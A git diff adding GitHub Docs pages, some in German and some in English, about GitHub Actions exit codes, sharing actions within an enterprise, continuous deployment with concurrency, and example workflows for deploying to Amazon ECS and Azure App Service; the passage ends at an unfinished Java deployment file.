+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+ms.openlocfilehash: 394b17dc03c4998797df222fe7c81c3269003ec9
+ms.sourcegitcommit: d3929a033c42c99b153910685256d079d7d87467
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114277'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Informationen zu Exitcodes
+
+{% data variables.product.prodname_dotcom %} verwendet den Exitcode, um den Status der Überprüfungsausführung der Aktion festzulegen. Dieser kann `success` oder `failure` lauten.
+
+Beendigungsstatus | Prüflaufstatus | BESCHREIBUNG
+------------|------------------|------------
+`0` | `success` | Die Aktion wurde erfolgreich abgeschlossen, und andere Tasks, die von dieser abhängig sind, können nun starten.
+Wert ungleich Null (eine beliebige ganze Zahl außer 0)| `failure` | Alle anderen Exit-Codes weisen darauf hin, dass die Aktion fehlgeschlagen ist. Wenn eine Aktion fehlschlägt, werden alle derzeit laufenden Aktionen abgebrochen, und künftige Aktionen werden übersprungen. Sowohl Überprüfungsausführung als auch Überprüfungssuite erhalten den Status `failure`.
+
+## Fehler-Exit-Code in einer JavaScript-Aktion festlegen
+
+Wenn du eine JavaScript-Aktion erstellst, kannst du das Aktionstoolkitpaket [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) verwenden, um eine Nachricht zu protokollieren und einen Fehlerexitcode festzulegen. Beispiel:
+
+```javascript
+try {
+  // something
+} catch (error) {
+  core.setFailed(error.message);
+}
+```
+
+Weitere Informationen findest du unter [Erstellen einer JavaScript-Aktion](/articles/creating-a-javascript-action).
+
+## Fehler-Exit-Code in einer Docker-Container-Aktion festlegen
+
+Wenn du eine Docker-Containeraktion erstellst, kannst du einen Fehlerexitcode in deinem `entrypoint.sh`-Skript festlegen. Beispiel:
+
+```
+if <condition> ; then
+  echo "Game over!"
+  exit 1
+fi
+```
+
+Weitere Informationen findest du unter [Erstellen einer Docker-Containeraktion](/articles/creating-a-docker-container-action).
diff --git a/translations/de-DE/content/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise.md b/translations/de-DE/content/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise.md
new file mode 100644
index 0000000000..d2ad55be74
--- /dev/null
+++ b/translations/de-DE/content/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise.md
@@ -0,0 +1,38 @@
+---
+title: Freigeben von Aktionen und Workflows in deinem Unternehmen
+intro: 'Du kannst eine Aktion oder einen Workflow für dein Unternehmen freigeben, ohne die Aktion oder den Workflow extern zu veröffentlichen.'
+versions:
+  feature: internal-actions
+type: tutorial
+topics:
+  - Actions
+  - Action development
+shortTitle: Share with your enterprise
+ms.openlocfilehash: 90541af9dfbb3c5f8ea2384de4a291336951434f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145068784'
+---
+## Informationen zum {% data variables.product.prodname_actions %}-Zugriff auf interne Repositorys
+
+Wenn ein Unternehmenskonto Besitzer deiner Organisation ist, kannst du Aktionen und Workflows innerhalb deines Unternehmens freigeben, ohne die Aktion oder den Workflow öffentlich zu veröffentlichen, indem du {% data variables.product.prodname_actions %}-Workflows erlaubst, auf ein internes Repository zuzugreifen, das die Aktion oder den Workflow enthält. 
+
+Alle im internen Repository gespeicherten Aktionen oder Workflows können in Workflows verwendet werden, die in anderen privaten und internen Repositorys im Besitz derselben Organisation oder einer anderen Organisation im Besitz des Unternehmens definiert sind. Aktionen und Workflows, die in internen Repositorys gespeichert sind, können nicht in öffentlichen Repositorys verwendet werden.
+
+{% warning %}
+
+**Warnung**: {% data reusables.actions.outside-collaborators-internal-actions %}
+
+{% endwarning %}
+
+## Freigeben von Aktionen und Workflows in deinem Unternehmen
+
+1. Speichere die Aktion oder den Workflow in einem internen Repository. Weitere Informationen findest du unter [Informationen zu Repositorys](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories).
+1. Konfiguriere das Repository, um den Zugriff auf Workflows in anderen privaten und internen Repositorys zu ermöglichen. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_actions %}-Einstellungen für ein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository).
+
+## Weitere Informationsquellen
+
+- [Informationen zu Unternehmenskonten](/admin/overview/about-enterprise-accounts)
+- [Wiederverwenden von Workflows](/actions/using-workflows/reusing-workflows)
diff --git a/translations/de-DE/content/actions/deployment/about-deployments/about-continuous-deployment.md b/translations/de-DE/content/actions/deployment/about-deployments/about-continuous-deployment.md
new file mode 100644
index 0000000000..8d6cd2b121
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/about-deployments/about-continuous-deployment.md
@@ -0,0 +1,51 @@
+---
+title: About continuous deployment
+intro: 'You can create custom continuous deployment (CD) workflows directly in your {% data variables.product.prodname_dotcom %} repository with {% data variables.product.prodname_actions %}.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+redirect_from:
+  - /actions/deployment/about-continuous-deployment
+topics:
+  - CD
+shortTitle: About continuous deployment
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## About continuous deployment
+
+_Continuous deployment_ (CD) is the practice of using automation to publish and deploy software updates. As part of the typical CD process, the code is automatically built and tested before deployment.
+
+Continuous deployment is often coupled with continuous integration. For more information about continuous integration, see "[About continuous integration](/actions/guides/about-continuous-integration)".
+
+## About continuous deployment using {% data variables.product.prodname_actions %}
+
+You can set up a {% data variables.product.prodname_actions %} workflow to deploy your software product. To verify that your product works as expected, your workflow can build the code in your repository and run your tests before deploying.
+
+You can configure your CD workflow to run when a {% data variables.product.product_name %} event occurs (for example, when new code is pushed to the default branch of your repository), on a set schedule, manually, or when an external event occurs using the repository dispatch webhook. For more information about when your workflow can run, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+
+{% data variables.product.prodname_actions %} provides features that give you more control over deployments. For example, you can use environments to require approval for a job to proceed, restrict which branches can trigger a workflow, or limit access to secrets. You can use concurrency to limit your CD pipeline to a maximum of one in-progress deployment and one pending deployment. For more information about these features, see "[Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+
+## Using OpenID Connect to access cloud resources
+
+{% data reusables.actions.about-oidc-short-overview %}
+
+{% endif %}
+
+## Starter workflows and third party actions
+
+{% data reusables.actions.cd-templates-actions %}
+
+## Further reading
+
+- [Deploying with GitHub Actions](/actions/deployment/deploying-with-github-actions)
+- [Using environments for deployment](/actions/deployment/using-environments-for-deployment){% ifversion fpt or ghec %}
+- "[Managing billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions)"{% endif %}
+
diff --git a/translations/de-DE/content/actions/deployment/about-deployments/deploying-with-github-actions.md b/translations/de-DE/content/actions/deployment/about-deployments/deploying-with-github-actions.md
new file mode 100644
index 0000000000..31f3680e14
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/about-deployments/deploying-with-github-actions.md
@@ -0,0 +1,173 @@
+---
+title: Deploying with GitHub Actions
+intro: Learn how to control deployments with features like environments and concurrency.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+redirect_from:
+  - /actions/deployment/deploying-with-github-actions
+topics:
+  - CD
+shortTitle: Deploy with GitHub Actions
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+{% data variables.product.prodname_actions %} offers features that let you control deployments. You can:
+
+- Trigger workflows with a variety of events.
+- Configure environments to set rules before a job can proceed and to limit access to secrets.
+- Use concurrency to control the number of deployments running at a time.
+
+For more information about continuous deployment, see "[About continuous deployment](/actions/deployment/about-continuous-deployment)."
+
+## Prerequisites
+
+You should be familiar with the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+
+## Triggering your deployment
+
+You can use a variety of events to trigger your deployment workflow. Some of the most common are: `pull_request`, `push`, and `workflow_dispatch`.
+
+For example, a workflow with the following triggers runs whenever:
+
+- There is a push to the `main` branch.
+- A pull request targeting the `main` branch is opened, synchronized, or reopened.
+- Someone manually triggers it.
+
+```yaml
+on:
+  push:
+    branches:
+      - main
+  pull_request:
+    branches:
+      - main
+  workflow_dispatch:
+```
+
+For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+
+## Using environments
+
+{% data reusables.actions.about-environments %}
+
+## Using concurrency
+
+Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. You can use concurrency so that an environment has a maximum of one deployment in progress and one deployment pending at a time.
+
+{% note %}
+
+**Note:** `concurrency` and `environment` are not connected. The concurrency value can be any string; it does not need to be an environment name. Additionally, if another workflow uses the same environment but does not specify concurrency, that workflow will not be subject to any concurrency rules.
+
+{% endnote %}
+
+For example, when the following workflow runs, it will be paused with the status `pending` if any job or workflow that uses the `production` concurrency group is in progress. It will also cancel any job or workflow that uses the `production` concurrency group and has the status `pending`. This means that there will be a maximum of one running and one pending job or workflow in that uses the `production` concurrency group.
+
+```yaml
+name: Deployment
+
+concurrency: production
+
+on:
+  push:
+    branches:
+      - main
+
+jobs:
+  deployment:
+    runs-on: ubuntu-latest
+    environment: production
+    steps:
+      - name: deploy
+        # ...deployment-specific steps
+```
+
+You can also specify concurrency at the job level. This will allow other jobs in the workflow to proceed even if the concurrent job is `pending`.
+
+```yaml
+name: Deployment
+
+on:
+  push:
+    branches:
+      - main
+
+jobs:
+  deployment:
+    runs-on: ubuntu-latest
+    environment: production
+    concurrency: production
+    steps:
+      - name: deploy
+        # ...deployment-specific steps
+```
+
+You can also use `cancel-in-progress` to cancel any currently running job or workflow in the same concurrency group.
+
+```yaml
+name: Deployment
+
+concurrency: 
+  group: production
+  cancel-in-progress: true
+
+on:
+  push:
+    branches:
+      - main
+
+jobs:
+  deployment:
+    runs-on: ubuntu-latest
+    environment: production
+    steps:
+      - name: deploy
+        # ...deployment-specific steps
+```
+
+For guidance on writing deployment-specific steps, see "[Finding deployment examples](#finding-deployment-examples)."
+
+## Viewing deployment history
+
+When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see "[Viewing deployment history](/developers/overview/viewing-deployment-history)."
+
+## Monitoring workflow runs
+
+Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug deployments. For more information see, "[Using the visualization graph](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph)."
+
+You can also view the logs of each workflow run and the history of workflow runs. For more information, see "[Viewing workflow run history](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)."
+
+## Tracking deployments through apps
+
+{% ifversion fpt or ghec %}
+If your personal account or organization on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} is integrated with Microsoft Teams or Slack, you can track deployments that use environments through Microsoft Teams or Slack. For example, you can receive notifications through the app when a deployment is pending approval, when a deployment is approved, or when the deployment status changes. For more information about integrating  Microsoft Teams or Slack, see "[GitHub extensions and integrations](/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations#team-communication-tools)."
+{% endif %}
+
+You can also build an app that uses deployment and deployment status webhooks to track deployments. {% data reusables.actions.environment-deployment-event %} For more information, see "[Apps](/developers/apps)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment)."
+
+{% ifversion fpt or ghes or ghec %}
+
+## Choosing a runner
+
+You can run your deployment workflow on {% data variables.product.company_short %}-hosted runners or on self-hosted runners. Traffic from {% data variables.product.company_short %}-hosted runners can come from a [wide range of network addresses](/rest/reference/meta#get-github-meta-information). If you are deploying to an internal environment and your company restricts external traffic into private networks, {% data variables.product.prodname_actions %} workflows running on {% data variables.product.company_short %}-hosted runners may not be able to communicate with your internal services or resources. To overcome this, you can host your own runners. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)" and "[About GitHub-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."
+
+{% endif %}
+
+## Displaying a status badge
+
+You can use a status badge to display the status of your deployment workflow. {% data reusables.repositories.actions-workflow-status-badge-intro %}
+
+For more information, see "[Adding a workflow status badge](/actions/managing-workflow-runs/adding-a-workflow-status-badge)."
+
+## Finding deployment examples
+
+This article demonstrated features of {% data variables.product.prodname_actions %} that you can add to your deployment workflows.
+
+{% data reusables.actions.cd-templates-actions %}
diff --git a/translations/de-DE/content/actions/deployment/about-deployments/index.md b/translations/de-DE/content/actions/deployment/about-deployments/index.md
new file mode 100644
index 0000000000..dfae5715b8
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/about-deployments/index.md
@@ -0,0 +1,20 @@
+---
+title: Informationen zu Bereitstellungen
+shortTitle: About deployments
+intro: 'Erfahre, wie Bereitstellungen mit {% data variables.product.prodname_actions %}-Workflows ausgeführt werden können.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /about-continuous-deployment
+  - /deploying-with-github-actions
+ms.openlocfilehash: 7b789a67d948f6cfd1a940355ef2f6446fb1905f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145068781'
+---
+
diff --git a/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
new file mode 100644
index 0000000000..abc8392e96
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service.md
@@ -0,0 +1,180 @@
+---
+title: Deploying to Amazon Elastic Container Service
+intro: You can deploy to Amazon Elastic Container Service (ECS) as part of your continuous deployment (CD) workflows.
+redirect_from:
+  - /actions/guides/deploying-to-amazon-elastic-container-service
+  - /actions/deployment/deploying-to-amazon-elastic-container-service
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Containers
+  - Amazon ECS
+shortTitle: Deploy to Amazon ECS
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to [Amazon Elastic Container Registry (ECR)](https://aws.amazon.com/ecr/), and deploy it to [Amazon Elastic Container Service (ECS)](https://aws.amazon.com/ecs/) when there is a push to the `main` branch.
+
+On every new push to `main` in your {% data variables.product.company_short %} repository, the {% data variables.product.prodname_actions %} workflow builds and pushes a new container image to Amazon ECR, and then deploys a new task definition to Amazon ECS.
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and ["Configuring OpenID Connect in Amazon Web Services"](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services).
+
+{% endnote %}
+
+{% endif %}
+
+## Prerequisites
+
+Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps for Amazon ECR and ECS:
+
+1. Create an Amazon ECR repository to store your images.
+
+   For example, using [the AWS CLI](https://aws.amazon.com/cli/):
+
+   {% raw %}```bash{:copy}
+   aws ecr create-repository \
+       --repository-name MY_ECR_REPOSITORY \
+       --region MY_AWS_REGION
+   ```{% endraw %}
+
+   Ensure that you use the same Amazon ECR repository name (represented here by `MY_ECR_REPOSITORY`) for the `ECR_REPOSITORY` variable in the workflow below.
+
+   Ensure that you use the same AWS region value for the `AWS_REGION` (represented here by `MY_AWS_REGION`) variable in the workflow below.
+
+2. Create an Amazon ECS task definition, cluster, and service.
+
+   For details, follow the [Getting started wizard on the Amazon ECS console](https://us-east-2.console.aws.amazon.com/ecs/home?region=us-east-2#/firstRun), or the [Getting started guide](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/getting-started-fargate.html) in the Amazon ECS documentation.
+
+   Ensure that you note the names you set for the Amazon ECS service and cluster, and use them for the `ECS_SERVICE` and `ECS_CLUSTER` variables in the workflow below.
+
+3. Store your Amazon ECS task definition as a JSON file in your {% data variables.product.company_short %} repository.
+
+   The format of the file should be the same as the output generated by:
+
+   {% raw %}```bash{:copy}
+   aws ecs register-task-definition --generate-cli-skeleton
+   ```{% endraw %}
+
+   Ensure that you set the `ECS_TASK_DEFINITION` variable in the workflow below as the path to the JSON file.
+
+   Ensure that you set the `CONTAINER_NAME` variable in the workflow below as the container name in the `containerDefinitions` section of the task definition.
+
+4. Create {% data variables.product.prodname_actions %} secrets named `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` to store the values for your Amazon IAM access key.
+
+   For more information on creating secrets for {% data variables.product.prodname_actions %}, see "[Encrypted secrets](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."
+
+   See the documentation for each action used below for the recommended IAM policies for the IAM user, and methods for handling the access key credentials.
+
+5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+
+## Creating the workflow
+
+Once you've completed the prerequisites, you can proceed with creating the workflow.
+
+The following example workflow demonstrates how to build a container image and push it to Amazon ECR. It then updates the task definition with the new image ID, and deploys the task definition to Amazon ECS.
+
+Ensure that you provide your own values for all the variables in the `env` key of the workflow.
+
+{% data reusables.actions.delete-env-key %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Deploy to Amazon ECS
+
+on:
+  push:
+    branches:
+      - main
+
+env:
+  AWS_REGION: MY_AWS_REGION                   # set this to your preferred AWS region, e.g. us-west-1
+  ECR_REPOSITORY: MY_ECR_REPOSITORY           # set this to your Amazon ECR repository name
+  ECS_SERVICE: MY_ECS_SERVICE                 # set this to your Amazon ECS service name
+  ECS_CLUSTER: MY_ECS_CLUSTER                 # set this to your Amazon ECS cluster name
+  ECS_TASK_DEFINITION: MY_ECS_TASK_DEFINITION # set this to the path to your Amazon ECS task definition
+                                               # file, e.g. .aws/task-definition.json
+  CONTAINER_NAME: MY_CONTAINER_NAME           # set this to the name of the container in the
+                                               # containerDefinitions section of your task definition
+
+jobs:
+  deploy:
+    name: Deploy
+    runs-on: ubuntu-latest
+    environment: production
+
+    steps:
+      - name: Checkout
+        uses: {% data reusables.actions.action-checkout %}
+
+      {% raw %}- name: Configure AWS credentials
+        uses: aws-actions/configure-aws-credentials@13d241b293754004c80624b5567555c4a39ffbe3
+        with:
+          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
+          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
+          aws-region: ${{ env.AWS_REGION }}
+
+      - name: Login to Amazon ECR
+        id: login-ecr
+        uses: aws-actions/amazon-ecr-login@aaf69d68aa3fb14c1d5a6be9ac61fe15b48453a2
+
+      - name: Build, tag, and push image to Amazon ECR
+        id: build-image
+        env:
+          ECR_REGISTRY: ${{ steps.login-ecr.outputs.registry }}
+          IMAGE_TAG: ${{ github.sha }}
+        run: |
+          # Build a docker container and
+          # push it to ECR so that it can
+          # be deployed to ECS.
+          docker build -t $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG .
+          docker push $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG{% endraw %}
+{%- ifversion actions-save-state-set-output-envs %}
+          echo "image=$ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG" >> $GITHUB_OUTPUT
+{%- else %}
+          echo "::set-output name=image::$ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG"
+{%- endif %}{% raw %}
+
+      - name: Fill in the new image ID in the Amazon ECS task definition
+        id: task-def
+        uses: aws-actions/amazon-ecs-render-task-definition@97587c9d45a4930bf0e3da8dd2feb2a463cf4a3a
+        with:
+          task-definition: ${{ env.ECS_TASK_DEFINITION }}
+          container-name: ${{ env.CONTAINER_NAME }}
+          image: ${{ steps.build-image.outputs.image }}
+
+      - name: Deploy Amazon ECS task definition
+        uses: aws-actions/amazon-ecs-deploy-task-definition@de0132cf8cdedb79975c6d42b77eb7ea193cf28e
+        with:
+          task-definition: ${{ steps.task-def.outputs.task-definition }}
+          service: ${{ env.ECS_SERVICE }}
+          cluster: ${{ env.ECS_CLUSTER }}
+          wait-for-service-stability: true{% endraw %}
+```
+
+## Additional resources
+
+For the original starter workflow, see [`aws.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/aws.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
+
+For more information on the services used in these examples, see the following documentation:
+
+* "[Security best practices in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)" in the Amazon AWS documentation.
+* Official AWS "[Configure AWS Credentials](https://github.com/aws-actions/configure-aws-credentials)" action.
+* Official AWS [Amazon ECR "Login"](https://github.com/aws-actions/amazon-ecr-login) action.
+* Official AWS [Amazon ECS "Render Task Definition"](https://github.com/aws-actions/amazon-ecs-render-task-definition) action.
+* Official AWS [Amazon ECS "Deploy Task Definition"](https://github.com/aws-actions/amazon-ecs-deploy-task-definition) action.
diff --git a/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md
new file mode 100644
index 0000000000..29abd3f106
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-docker-to-azure-app-service.md
@@ -0,0 +1,155 @@
+---
+title: Deploying Docker to Azure App Service
+intro: You can deploy a Docker container to Azure App Service as part of your continuous deployment (CD) workflows.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Containers
+  - Docker
+  - Azure App Service
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Docker container to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerequisites
+
+Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+
+{% data reusables.actions.create-azure-app-plan %}
+
+1. Create a web app.
+
+   For example, you can use the Azure CLI to create an Azure App Service web app:
+
+   ```bash{:copy}
+   az webapp create \
+       --name MY_WEBAPP_NAME \
+       --plan MY_APP_SERVICE_PLAN \
+       --resource-group MY_RESOURCE_GROUP \
+       --deployment-container-image-name nginx:latest
+   ```
+
+   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+
+{% data reusables.actions.create-azure-publish-profile %}
+
+1. Set registry credentials for your web app.
+
+   Create a {% data variables.product.pat_v1 %} with the `repo` and `read:packages` scopes. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
+
+   Set `DOCKER_REGISTRY_SERVER_URL` to `https://ghcr.io`, `DOCKER_REGISTRY_SERVER_USERNAME` to the GitHub username or organization that owns the repository, and `DOCKER_REGISTRY_SERVER_PASSWORD` to your {% data variables.product.pat_generic %} from above. This will give your web app credentials so it can pull the container image after your workflow pushes a newly built image to the registry. You can do this with the following Azure CLI command:
+
+   ```shell
+    az webapp config appsettings set \
+        --name MY_WEBAPP_NAME \
+        --resource-group MY_RESOURCE_GROUP \
+        --settings DOCKER_REGISTRY_SERVER_URL=https://ghcr.io DOCKER_REGISTRY_SERVER_USERNAME=MY_REPOSITORY_OWNER DOCKER_REGISTRY_SERVER_PASSWORD=MY_PERSONAL_ACCESS_TOKEN
+```
+
+5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+
+## Creating the workflow
+
+Once you've completed the prerequisites, you can proceed with creating the workflow.
+
+The following example workflow demonstrates how to build and deploy a Docker container to Azure App Service when there is a push to the `main` branch.
+
+Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created.
+
+{% data reusables.actions.delete-env-key %}
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+{% data reusables.actions.actions-use-sha-pinning-comment %}
+
+name: Build and deploy a container to an Azure Web App
+
+env:
+  AZURE_WEBAPP_NAME: MY_WEBAPP_NAME   # set this to your application's name
+
+on:
+  push:
+    branches:
+      - main
+
+permissions:
+  contents: 'read'
+  packages: 'write'
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+
+      - name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@v1
+
+      - name: Log in to GitHub container registry
+        uses: docker/login-action@v1.10.0
+        with:
+          registry: ghcr.io
+          username: {% raw %}${{ github.actor }}{% endraw %}
+          password: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
+
+      - name: Lowercase the repo name
+        run: echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV}
+
+      - name: Build and push container image to registry
+        uses: docker/build-push-action@v2
+        with:
+          push: true
+          tags: ghcr.io/{% raw %}${{ env.REPO }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}
+          file: ./Dockerfile
+
+  deploy:
+    runs-on: ubuntu-latest
+
+    needs: build
+
+    environment:
+      name: 'production'
+      url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %}
+
+    steps:
+      - name: Lowercase the repo name
+        run: echo "REPO=${GITHUB_REPOSITORY,,}" >>${GITHUB_ENV}
+
+      - name: Deploy to Azure Web App
+        id: deploy-to-webapp
+        uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e
+        with:
+          app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %}
+          publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
+          images: 'ghcr.io/{% raw %}${{ env.REPO }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}'
+```
+
+## Additional resources
+
+The following resources may also be useful:
+
+* For the original starter workflow, see [`azure-container-webapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-container-webapp.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
+* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md
new file mode 100644
index 0000000000..3f3c359899
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-java-to-azure-app-service.md
@@ -0,0 +1,133 @@
+---
+title: Deploying Java to Azure App Service
+intro: You can deploy your Java project to Azure App Service as part of your continuous deployment (CD) workflows.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CD
+  - Java
+  - Azure App Service
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Java project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+
+{% note %}
+
+**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)."
+
+{% endnote %}
+
+{% endif %}
+
+## Prerequisites
+
+Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+
+{% data reusables.actions.create-azure-app-plan %}
+
+1. Create a web app.
+
+   For example, you can use the Azure CLI to create an Azure App Service web app with a Java runtime:
+
+   ```bash{:copy}
+   az webapp create \
+       --name MY_WEBAPP_NAME \
+       --plan MY_APP_SERVICE_PLAN \
+       --resource-group MY_RESOURCE_GROUP \
+       --runtime "JAVA|11-java11"
+   ```
+
+   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+
+{% data reusables.actions.create-azure-publish-profile %}
+
+1. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
+
+## Creating the workflow
+
+Once you've completed the prerequisites, you can proceed with creating the workflow.
+
+The following example workflow demonstrates how to build and deploy a Java project to Azure App Service when there is a push to the `main` branch.
+
+Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If you want to use a Java version other than `11`, change `JAVA_VERSION`.
+
+{% data reusables.actions.delete-env-key %}
+
+```yaml{:copy}
